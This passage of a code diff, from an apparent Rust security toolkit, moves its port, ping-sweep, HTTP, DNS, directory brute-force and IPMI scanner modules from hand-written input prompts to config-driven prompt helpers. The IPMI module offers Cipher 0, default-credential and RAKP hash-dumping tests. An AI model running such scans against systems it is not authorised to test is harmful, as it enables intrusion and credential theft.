}
};
let use_https = prompt_yes_no("Use HTTPS?", true)?;
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", true)?;
let proto = if use_https { "https".to_string() } else { "http".to_string() };
let def_port = if use_https { "443" } else { "80" };
let port: u16 = prompt_default(&format!("Port (default {})", def_port), def_port)?
let port: u16 = cfg_prompt_default("port", &format!("Port (default {})", def_port), def_port)?
.parse()
.context("Invalid port")?;
let path_input = prompt_default("Base Path (must end with /)", "/")?;
let path_input = cfg_prompt_default("base_path", "Base Path (must end with /)", "/")?;
// Slash check logic
let path = if !path_input.ends_with('/') {
if prompt_yes_no("Path does not end with '/'. Append it?", true)? {
if cfg_prompt_yes_no("append_slash", "Path does not end with '/'. Append it?", true)? {
format!("{}/", path_input)
} else {
if !prompt_yes_no("Continue without trailing slash? (May break scanning)", false)? {
if !cfg_prompt_yes_no("continue_no_slash", "Continue without trailing slash? (May break scanning)", false)? {
return Err(anyhow!("Aborted by user due to path format."));
}
path_input
@@ -246,7 +246,7 @@ async fn parse_target_interactive(raw: &str) -> Result<(String, String, u16, Str
// --- Persistence ---
async fn save_template(config: &DirBruteConfig) -> Result<()> {
let name = prompt_default("Template Name (e.g. 'myscan.json')", "scan_template.json")?;
let name = cfg_prompt_default("template_name", "Template Name (e.g. 'myscan.json')", "scan_template.json")?;
let json = serde_json::to_string_pretty(config)?;
fs::write(&name, json).context("Failed to write template file")?;
println!("Saved config to {}", name);
@@ -254,7 +254,7 @@ async fn save_template(config: &DirBruteConfig) -> Result<()> {
}
async fn load_template() -> Result<DirBruteConfig> {
let path = prompt_existing_file("Template File Path")?;
let path = cfg_prompt_existing_file("template_file", "Template File Path")?;
let content = fs::read_to_string(&path)?;
let config: DirBruteConfig = serde_json::from_str(&content).context("Invalid template format")?;
@@ -263,7 +263,7 @@ async fn load_template() -> Result<DirBruteConfig> {
println!("Mode: Level {}", config.scan_mode);
println!("Wordlist: {}", config.wordlist_path);
if !prompt_yes_no("Run this configuration?", true)? {
if !cfg_prompt_yes_no("run_template", "Run this configuration?", true)? {
return Err(anyhow!("User cancelled after loading template."));
}
@@ -411,8 +411,8 @@ async fn execute_scan(config: DirBruteConfig) -> Result<()> {
// Report & Save
let final_results = results_mutex.lock().await;
if !final_results.is_empty() && prompt_yes_no("Save results to file?", true)? {
let sort_choice = prompt_default("Sort by (1) Status or (2) Size", "1")?;
if !final_results.is_empty() && cfg_prompt_yes_no("save_results", "Save results to file?", true)? {
let sort_choice = cfg_prompt_default("sort_by", "Sort by (1) Status or (2) Size", "1")?;
let mut sorted: Vec<&ScanResult> = final_results.iter().collect();
if sort_choice == "2" {
src/modules/scanners/dns_recursion.rs
+4 -4
View File
@@ -4,7 +4,7 @@ use colored::*;
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
use tokio::time::{timeout, Duration};
use crate::utils::{
prompt_default, prompt_port,
cfg_prompt_default, cfg_prompt_port,
};
use hickory_client::client::{Client, ClientHandle};
@@ -44,16 +44,16 @@ pub async fn run(initial_target: &str) -> Result<()> {
let needs_default_port = targets.iter().any(|t| t.port.is_none());
let default_port = if needs_default_port {
prompt_port("Default DNS port", 53)?
cfg_prompt_port("port", "Default DNS port", 53)?
} else {
53
};
let query_name_input = prompt_default("Domain to query", "google.com")?;
let query_name_input = cfg_prompt_default("domain", "Domain to query", "google.com")?;
let query_name = validate_domain_input(&query_name_input)?;
let record_input =
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
cfg_prompt_default("record_type", "Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
let record_type = parse_record_type(&record_input)?;
println!(
src/modules/scanners/http_method_scanner.rs
+20 -91
View File
@@ -4,9 +4,11 @@ use colored::*;
use reqwest::{Client, Method, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::Write;
use std::time::{Duration, Instant};
use crate::utils::{
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_int_range, cfg_prompt_output_file,
};
const METHODS: &[&str] = &[
"GET",
@@ -38,42 +40,35 @@ pub async fn run(initial_target: &str) -> Result<()> {
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
let additional = cfg_prompt_default("additional_targets", "Enter additional comma-separated targets (optional)", "")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
let file_path = cfg_prompt_default("target_file", "Path to file with targets (optional)", "")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
let default_scheme_input = cfg_prompt_default("scheme", "Preferred scheme (http/https)", "https")?;
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
"http" => "http",
_ => "https",
};
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let use_ports = cfg_prompt_yes_no("use_ports", "Test via specific ports (port tunneling)?", false)?;
let ports = if use_ports {
prompt_ports()?
let ports_str = cfg_prompt_default("ports", "Enter port(s) comma-separated (e.g. 80,8080)", "")?;
parse_ports_from_string(&ports_str)
} else {
Vec::new()
};
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
let timeout_secs: u64 = timeout_input
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
let timeout_secs = cfg_prompt_int_range("timeout", "Request timeout in seconds", 10, 1, 120)? as u64;
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
let save_output = cfg_prompt_yes_no("save_results", "Save results to file?", true)?;
let mut normalized = normalize_targets(targets, default_scheme);
if !ports.is_empty() {
@@ -198,10 +193,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
"http_method_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
let output_path = cfg_prompt_output_file("output_file", "Enter output file path", &default_name)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
@@ -266,6 +258,13 @@ fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String>
normalized
}
fn parse_ports_from_string(s: &str) -> Vec<u16> {
s.split(',')
.filter_map(|p| p.trim().parse::<u16>().ok())
.filter(|p| *p > 0)
.collect()
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
@@ -293,76 +292,6 @@ fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Method Scanner Report".to_string());
src/modules/scanners/http_title_scanner.rs
+21 -101
View File
@@ -5,47 +5,47 @@ use regex::Regex;
use reqwest::{Client, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::Write;
use std::time::{Duration, Instant};
use crate::utils::{
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_int_range, cfg_prompt_output_file,
};
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
let additional = cfg_prompt_default("additional_targets", "Enter additional comma-separated targets (optional)", "")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
let file_path = cfg_prompt_default("target_file", "Path to file with targets (optional)", "")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
let check_http = cfg_prompt_yes_no("check_http", "Check HTTP (http://)?", true)?;
let check_https = cfg_prompt_yes_no("check_https", "Check HTTPS (https://)?", true)?;
if !check_http && !check_https {
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
return Ok(());
}
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let use_ports = cfg_prompt_yes_no("use_ports", "Test via specific ports (port tunneling)?", false)?;
let ports = if use_ports {
prompt_ports()?
let ports_str = cfg_prompt_default("ports", "Enter port(s) comma-separated (e.g. 80,8080)", "")?;
parse_ports_from_string(&ports_str)
} else {
Vec::new()
};
let timeout_secs = prompt_timeout()?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let timeout_secs = cfg_prompt_int_range("timeout", "Request timeout in seconds", 10, 1, 120)? as u64;
let save_output = cfg_prompt_yes_no("save_results", "Save results to file?", true)?;
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
let mut normalized = normalize_targets(targets, check_http, check_https);
if !ports.is_empty() {
@@ -141,10 +141,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
"http_title_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
let output_path = cfg_prompt_output_file("output_file", "Enter output file path", &default_name)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
@@ -266,6 +263,13 @@ fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool)
normalized
}
fn parse_ports_from_string(s: &str) -> Vec<u16> {
s.split(',')
.filter_map(|p| p.trim().parse::<u16>().ok())
.filter(|p| *p > 0)
.collect()
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
@@ -294,90 +298,6 @@ fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_timeout() -> Result<u64> {
let input = prompt("Request timeout in seconds (default 10): ")?;
if input.is_empty() {
return Ok(10);
}
match input.parse::<u64>() {
Ok(val) if val > 0 => Ok(val),
_ => {
println!("[!] Invalid timeout, using default (10s)");
Ok(10)
}
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Title Scanner Report".to_string());
src/modules/scanners/ipmi_enum_exploit.rs
+14 -14
View File
@@ -26,8 +26,8 @@ use tokio::io::AsyncWriteExt;
use tokio::sync::Mutex;
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_yes_no,
prompt_required, prompt_existing_file, prompt_int_range,
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_yes_no,
cfg_prompt_required, cfg_prompt_existing_file, cfg_prompt_int_range,
};
// IPMI Constants
@@ -99,12 +99,12 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 3. Target List (File)");
println!();
let mode = prompt_required("Select mode [1-3]: ")?;
let mode = cfg_prompt_required("mode", "Select mode [1-3]: ")?;
let targets = match mode.as_str() {
"1" => {
let t = if target.trim().is_empty() {
prompt_required("Target IP: ")?
cfg_prompt_required("target", "Target IP: ")?
} else {
target.to_string()
};
@@ -112,7 +112,7 @@ pub async fn run(target: &str) -> Result<()> {
},
"2" => {
let cidr = if target.trim().is_empty() || !target.contains('/') {
prompt_required("Target CIDR (e.g., 192.168.1.0/24): ")?
cfg_prompt_required("cidr", "Target CIDR (e.g., 192.168.1.0/24): ")?
} else {
target.to_string()
};
@@ -123,7 +123,7 @@ pub async fn run(target: &str) -> Result<()> {
.collect()
},
"3" => {
let path = prompt_existing_file("Path to target list file: ")?;
let path = cfg_prompt_existing_file("target_file", "Path to target list file: ")?;
let content = tokio::fs::read_to_string(path)
.await
.context("Failed to read target file")?;
@@ -142,26 +142,26 @@ pub async fn run(target: &str) -> Result<()> {
// Check for extremely large scans
if targets.len() > 100000 {
println!("{}", format!("[!] Warning: Large scan detected ({} targets).", targets.len()).yellow().bold());
if !prompt_yes_no("This may consume significant memory and time. Continue?", false)? {
if !cfg_prompt_yes_no("continue_large_scan", "This may consume significant memory and time. Continue?", false)? {
return Ok(());
}
}
println!("[*] Loaded {} targets", targets.len());
let port = prompt_port("IPMI Port", IPMI_PORT)?;
let test_cipher_zero = prompt_yes_no("Test Cipher 0 vulnerability?", true)?;
let test_anonymous = prompt_yes_no("Test anonymous authentication?", true)?;
let test_default_creds = prompt_yes_no("Test default credentials?", true)?;
let test_rakp_hash = prompt_yes_no("Attempt RAKP hash dumping (IPMI 2.0)?", true)?;
let port = cfg_prompt_port("port", "IPMI Port", IPMI_PORT)?;
let test_cipher_zero = cfg_prompt_yes_no("test_cipher_zero", "Test Cipher 0 vulnerability?", true)?;
let test_anonymous = cfg_prompt_yes_no("test_anonymous", "Test anonymous authentication?", true)?;
let test_default_creds = cfg_prompt_yes_no("test_default_creds", "Test default credentials?", true)?;
let test_rakp_hash = cfg_prompt_yes_no("test_rakp_hash", "Attempt RAKP hash dumping (IPMI 2.0)?", true)?;
let concurrency = if targets.len() > 1 {
prompt_int_range("Max concurrent scans", 50, 1, 10000)? as usize
cfg_prompt_int_range("concurrency", "Max concurrent scans", 50, 1, 10000)? as usize
} else {
1
};
let output_file = prompt_default("Output result file", "ipmi_scan_results.csv")?;
let output_file = cfg_prompt_default("output_file", "Output result file", "ipmi_scan_results.csv")?;
println!("\n{}", "=== Starting IPMI Scan ===".bold().cyan());
src/modules/scanners/ping_sweep.rs
+37 -165
View File
@@ -21,6 +21,9 @@ use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Durat
use rand::Rng;
use std::mem::MaybeUninit;
use crate::utils::{
cfg_prompt_yes_no, cfg_prompt_default, cfg_prompt_int_range,
};
#[derive(Clone, Debug)]
struct PingConfig {
@@ -160,12 +163,9 @@ async fn gather_configuration(initial: &str) -> Result<PingConfig> {
}
}
if prompt_yes_no("Add additional targets manually?", false)? {
if cfg_prompt_yes_no("add_manual_targets", "Add additional targets manually?", false)? {
loop {
let entry = prompt_line(
"Enter target (IP or CIDR, leave blank to stop): ",
true,
)?;
let entry = cfg_prompt_default("manual_target", "Enter target (IP or CIDR, leave blank to stop)", "")?;
if entry.is_empty() {
break;
}
@@ -181,22 +181,24 @@ async fn gather_configuration(initial: &str) -> Result<PingConfig> {
}
}
if prompt_yes_no("Load targets from file?", false)? {
let path = prompt_line("Path to file: ", false)?;
let file_targets = load_targets_from_file(&path)?;
if file_targets.is_empty() {
println!("{}", " No targets parsed from file.".yellow());
} else {
println!(
"{}",
format!(
" Loaded {} targets from '{}'",
file_targets.len(),
path
)
.green()
);
nets.extend(file_targets);
if cfg_prompt_yes_no("load_from_file", "Load targets from file?", false)? {
let path = cfg_prompt_default("target_file", "Path to file", "")?;
if !path.is_empty() {
let file_targets = load_targets_from_file(&path)?;
if file_targets.is_empty() {
println!("{}", " No targets parsed from file.".yellow());
} else {
println!(
"{}",
format!(
" Loaded {} targets from '{}'",
file_targets.len(),
path
)
.green()
);
nets.extend(file_targets);
}
}
}
@@ -214,23 +216,23 @@ async fn gather_configuration(initial: &str) -> Result<PingConfig> {
let targets: Vec<IpNet> = unique.into_iter().collect();
let timeout_secs =
prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?;
cfg_prompt_int_range("timeout", "Probe timeout (seconds)", 3, 1, 60)? as u64;
let concurrency =
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 100, 1, 10000)? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output (show down hosts/errors)?", false)?;
// Ask about saving results
let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false)? {
let save_up_hosts = if cfg_prompt_yes_no("save_up_hosts", "Save up hosts to file?", false)? {
let default_file = "ping_sweep_up_hosts.txt";
let file_path = prompt_with_default("Output file for up hosts", default_file)?;
let file_path = cfg_prompt_default("up_hosts_file", "Output file for up hosts", default_file)?;
Some(file_path)
} else {
None
};
let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false)? {
let save_down_hosts = if cfg_prompt_yes_no("save_down_hosts", "Save down hosts to file?", false)? {
let default_file = "ping_sweep_down_hosts.txt";
let file_path = prompt_with_default("Output file for down hosts", default_file)?;
let file_path = cfg_prompt_default("down_hosts_file", "Output file for down hosts", default_file)?;
Some(file_path)
} else {
None
@@ -239,14 +241,14 @@ async fn gather_configuration(initial: &str) -> Result<PingConfig> {
let methods = loop {
let mut methods = Vec::new();
if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? {
if cfg_prompt_yes_no("use_icmp", "Use ICMP ping (system ping/ping6)?", true)? {
methods.push(PingMethod::Icmp);
}
if prompt_yes_no("Use TCP connect probes?", false)? {
if cfg_prompt_yes_no("use_tcp", "Use TCP connect probes?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports (comma separated)", default_ports)?;
cfg_prompt_default("tcp_ports", "TCP ports (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
@@ -255,10 +257,10 @@ async fn gather_configuration(initial: &str) -> Result<PingConfig> {
}
}
if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false)? {
if cfg_prompt_yes_no("use_syn", "Use SYN scan (stealth scan, requires root)?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports)?;
cfg_prompt_default("syn_ports", "TCP ports for SYN scan (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
@@ -267,10 +269,10 @@ async fn gather_configuration(initial: &str) -> Result<PingConfig> {
}
}
if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false)? {
if cfg_prompt_yes_no("use_ack", "Use ACK scan (filter detection, requires root)?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports)?;
cfg_prompt_default("ack_ports", "TCP ports for ACK scan (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
@@ -1010,136 +1012,6 @@ fn get_local_ipv4() -> Option<Ipv4Addr> {
None
}
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
print!("{}", message.cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_string();
if !allow_empty && trimmed.is_empty() {
return Err(anyhow!("Input cannot be empty."));
}
Ok(trimmed)
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
print!(
"{}",
format!("{} [{}]: ", message, default).cyan().bold()
);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
loop {
print!(
"{}",
format!("{} [{}]: ", message, default_hint).cyan().bold()
);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
}
}
}
fn prompt_usize(
message: &str,
default: usize,
min: Option<usize>,
max: Option<usize>,
) -> Result<usize> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<usize>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
fn prompt_u64(
message: &str,
default: u64,
min: Option<u64>,
max: Option<u64>,
) -> Result<u64> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<u64>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
fn parse_ports(input: &str) -> Result<Vec<u16>> {
let mut ports = Vec::new();
for token in input.replace(',', " ").split_whitespace() {
src/modules/scanners/port_scanner.rs
+22 -73
View File
@@ -1,4 +1,4 @@
use anyhow::{Result, anyhow, Context};
use anyhow::{Result, anyhow};
use colored::*;
use std::{
fs::File,
@@ -15,6 +15,9 @@ use tokio::{
};
use rand::{Rng, rng};
use socket2::{Socket, Domain, Type, Protocol};
use crate::utils::{
cfg_prompt_default, cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
};
#[derive(Debug, Clone, Copy, PartialEq)]
pub enum ScanMethod {
@@ -93,27 +96,15 @@ pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
// Port range selection
println!("\n{}", "Port Range Options:".yellow());
println!(" 1. All ports (1-65535)");
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
println!(" 3. Top 1000 ports");
println!(" 4. Custom range");
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
let range_choice_str = cfg_prompt_default("port_range", "Port Range (1=All, 2=Common, 3=Top1000, 4=Custom)", "1")?;
let range_choice: usize = range_choice_str.parse().unwrap_or(1);
let port_range = match range_choice {
1 | 0 => PortRange::All,
2 => PortRange::Common,
3 => PortRange::Top1000,
4 => {
let start_val: usize = prompt_usize("Start port: ")?;
let end_val: usize = prompt_usize("End port: ")?;
if start_val > 65535 || start_val == 0 {
return Err(anyhow!("Start port must be between 1 and 65535"));
}
if end_val > 65535 || end_val == 0 {
return Err(anyhow!("End port must be between 1 and 65535"));
}
let start_val = cfg_prompt_int_range("port_start", "Start port", 1, 1, 65535)? as usize;
let end_val = cfg_prompt_int_range("port_end", "End port", 65535, 1, 65535)? as usize;
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
@@ -130,11 +121,8 @@ pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
// Scan Method Selection
println!("\n{}", "Scan Method:".yellow());
println!(" 1. TCP Connect Scan (Default)");
println!(" 2. UDP Scan");
println!(" 3. Both TCP & UDP");
let method_choice = prompt_usize("Select method (1-3) [1]: ").unwrap_or(1);
let method_choice_str = cfg_prompt_default("scan_method", "Scan Method (1=TCP, 2=UDP, 3=Both)", "1")?;
let method_choice: usize = method_choice_str.parse().unwrap_or(1);
let scan_method = match method_choice {
2 => ScanMethod::Udp,
3 => ScanMethod::Both,
@@ -142,31 +130,31 @@ pub fn prompt_settings() -> Result<ScanSettings> {
};
// Advanced Options
let ttl = if prompt_bool("Enable custom TTL? (y/n) [n]: ").unwrap_or(false) {
Some(prompt_usize("TTL value (1-255): ").unwrap_or(64) as u32)
let ttl = if cfg_prompt_yes_no("enable_ttl", "Enable custom TTL?", false)? {
Some(cfg_prompt_int_range("ttl", "TTL value", 64, 1, 255)? as u32)
} else {
None
};
let source_port = if prompt_bool("Enable custom Source Port? (y/n) [n]: ").unwrap_or(false) {
Some(prompt_usize("Source Port (1-65535): ").unwrap_or(0) as u16)
let source_port = if cfg_prompt_yes_no("enable_source_port", "Enable custom Source Port?", false)? {
Some(cfg_prompt_int_range("source_port", "Source Port", 0, 0, 65535)? as u16)
} else {
None
};
let data_length = if prompt_bool("Enable garbage data / payload padding? (y/n) [n]: ").unwrap_or(false) {
Some(prompt_usize("Data length (bytes): ").unwrap_or(0))
let data_length = if cfg_prompt_yes_no("enable_data_padding", "Enable garbage data / payload padding?", false)? {
Some(cfg_prompt_int_range("data_length", "Data length (bytes)", 0, 0, 65535)? as usize)
} else {
None
};
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
concurrency: cfg_prompt_int_range("concurrency", "Concurrency", 100, 1, 10000)? as usize,
timeout_secs: cfg_prompt_int_range("timeout", "Timeout (in seconds)", 3, 1, 120)? as u64,
show_only_open: cfg_prompt_yes_no("show_only_open", "Show only open ports?", true)?,
verbose: cfg_prompt_yes_no("verbose", "Verbose output?", false)?,
scan_method,
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
output_file: cfg_prompt_output_file("output_file", "Output filename", "scan_results.txt")?,
port_range,
ttl,
source_port,
@@ -286,6 +274,7 @@ pub async fn run_with_settings(
println!(" {} TCP {}:{} FILTERED", "~".yellow(), ip_str, port);
}
}
_ => {} // ignore any other status variants
}
}
@@ -628,46 +617,6 @@ fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
}
}
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message.cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut buf = String::new();
std::io::stdin()
.read_line(&mut buf)
.context("Failed to read input")?;
Ok(buf.trim().to_string())
}
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Ok(false);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
}
}
}
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Err(anyhow!("Input required"));
}
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("{}", "Please enter a valid number.".yellow());
}
}
/// === Scan Statistics ===
struct ScanStats {
tcp_open: usize,
src/modules/scanners/sample_scanner.rs
+9 -59
View File
@@ -5,6 +5,9 @@ use std::fs::File;
use std::io::Write;
use std::time::{Duration, Instant};
use crate::utils::{
cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
};
fn display_banner() {
